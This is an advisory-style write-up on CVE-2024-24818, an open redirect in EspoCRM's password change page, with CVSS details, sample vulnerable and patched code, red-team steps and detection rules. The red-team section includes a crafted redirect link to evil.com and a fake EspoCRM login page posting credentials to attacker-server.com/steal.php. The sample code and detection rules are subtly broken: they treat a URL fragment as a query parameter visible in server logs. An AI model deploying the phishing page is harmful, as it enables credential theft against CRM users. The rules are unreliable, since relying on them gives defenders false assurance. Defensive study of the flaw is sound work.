CVE-2024-24818

Executive Summary

CVE-2024-24818 is an open redirect vulnerability in EspoCRM, an open-source Customer Relationship Management (CRM) software. An attacker can exploit the password change page to inject arbitrary IP addresses or domain names, redirecting victims to malicious sites. This can lead to credential theft, malware delivery, or further phishing attacks. The vulnerability is fixed in version 8.1.2. The CVSS score is 5.9 (Medium), and the EPSS probability is 0.0%, indicating low exploitation activity in the wild. However, the open redirect nature makes it a valuable tool for social engineering campaigns.

Supply Chain & Package Security

EspoCRM is distributed as a PHP application. Organizations using Composer-based deployments should ensure their composer.lock references version 8.1.2 or later. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Unchanged
• Confidentiality Impact: Low (potential credential theft)
• Integrity Impact: Low (redirect to malicious site)
• Availability Impact: None

The threat level is medium due to the requirement for user interaction, but the potential for credential harvesting and phishing makes it a significant risk for organizations using EspoCRM.

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of EspoCRM. When a user requests a password reset, the application sends a link containing a redirect parameter. This parameter is not properly sanitized, allowing an attacker to inject arbitrary URLs. The flow is as follows:

1. The attacker crafts a malicious link: https://victim-espocrm.com/#User/passwordChange?redirect=https://evil.com
2. The victim, believing the link is legitimate, clicks it.
3. EspoCRM processes the password change request and, upon completion, redirects the user to the URL specified in the redirect parameter.
4. The victim is redirected to https://evil.com, which may host a phishing page mimicking the EspoCRM login or other credential harvesting forms.

The vulnerability is classified as CWE-601: URL Redirection to Untrusted Site. The fix in version 8.1.2 implements a whitelist of allowed redirect destinations or validates that the redirect URL is relative to the application's domain.

Vulnerable vs. Patched Code

Vulnerable Code (before 8.1.2):

// In password change controller
$redirectUrl = $_GET['redirect'];
// No validation
header('Location: ' . $redirectUrl);
exit;

Patched Code (8.1.2):

// In password change controller
$redirectUrl = $_GET['redirect'];
// Validate that redirect is relative or on the same domain
if (strpos($redirectUrl, '/') === 0 || parse_url($redirectUrl, PHP_URL_HOST) === $_SERVER['HTTP_HOST']) {
    header('Location: ' . $redirectUrl);
} else {
    header('Location: /');
}
exit;

The patched version ensures the redirect URL is either a relative path (starting with /) or points to the same host as the application.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable EspoCRM instance (version < 8.1.2)
• A controlled malicious server (e.g., evil.com)

Exploitation Steps:

1. Identify the target EspoCRM URL (e.g., https://victim-espocrm.com).
2. Craft a phishing link:

   https://victim-espocrm.com/#User/passwordChange?redirect=https://evil.com
   

3. Send the link to the victim via email, social media, or other channels.
4. When the victim clicks the link and completes the password change (or even just visits the page), they will be redirected to evil.com.
5. On evil.com, host a fake login page to capture credentials.

Example Phishing Page (evil.com/index.html):

<!DOCTYPE html>
<html>
<head>
    <title>EspoCRM Login</title>
</head>
<body>
    <form action="https://attacker-server.com/steal.php" method="POST">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <input type="submit" value="Login">
    </form>
</body>
</html>

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /User/passwordChange with suspicious redirect parameters containing external domains.
2. Use the provided Sigma and Suricata rules to detect exploitation attempts.
3. Verify that EspoCRM is updated to version 8.1.2 or later.
4. Implement a Web Application Firewall (WAF) rule to block open redirect patterns.

WAF Rule Example (ModSecurity):

SecRule ARGS:redirect "!^/([a-zA-Z0-9/_-]+)?$" "id:1001,phase:2,deny,status:403,msg:'Open redirect attempt blocked'"

Indicators of Compromise (IOCs)

• URL Pattern: /#User/passwordChange?redirect=https?://[external-domain]
• Log Entry: GET /#User/passwordChange?redirect=https://evil.com HTTP/1.1
• Network Traffic: Outbound connections to known phishing domains after a password change request.
• File Hashes: No specific file hashes; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2024_24818_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in EspoCRM password change"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-24818"
    strings:
        $redirect_param = "redirect="
        $password_change = "passwordChange"
        $http = "http://"
        $https = "https://"
    condition:
        $password_change and $redirect_param and ($http or $https)
}

Sigma Rule

title: EspoCRM Open Redirect Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-24818 open redirect in EspoCRM
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: 
            - '/#User/passwordChange?redirect=http://'
            - '/#User/passwordChange?redirect=https://'
    condition: selection
falsepositives:
    - Legitimate redirects to internal resources (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24818 EspoCRM Open Redirect Attempt"; flow:to_server,established; content:"/#User/passwordChange"; http_uri; content:"redirect="; http_uri; pcre:"/redirect=https?:\/\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade EspoCRM to version 8.1.2 or later.
2. Compensating Controls: Implement a WAF rule to block open redirect patterns.
3. User Awareness: Train users to verify URLs before clicking, especially in password reset emails.
4. Monitoring: Enable logging for all password change requests and review for anomalous redirect parameters.
5. Network Segmentation: Ensure the EspoCRM server is not directly accessible from the internet if possible, or use a reverse proxy with strict URL validation.

Valters IT
DevSecOps & Cyber Threat Intelligence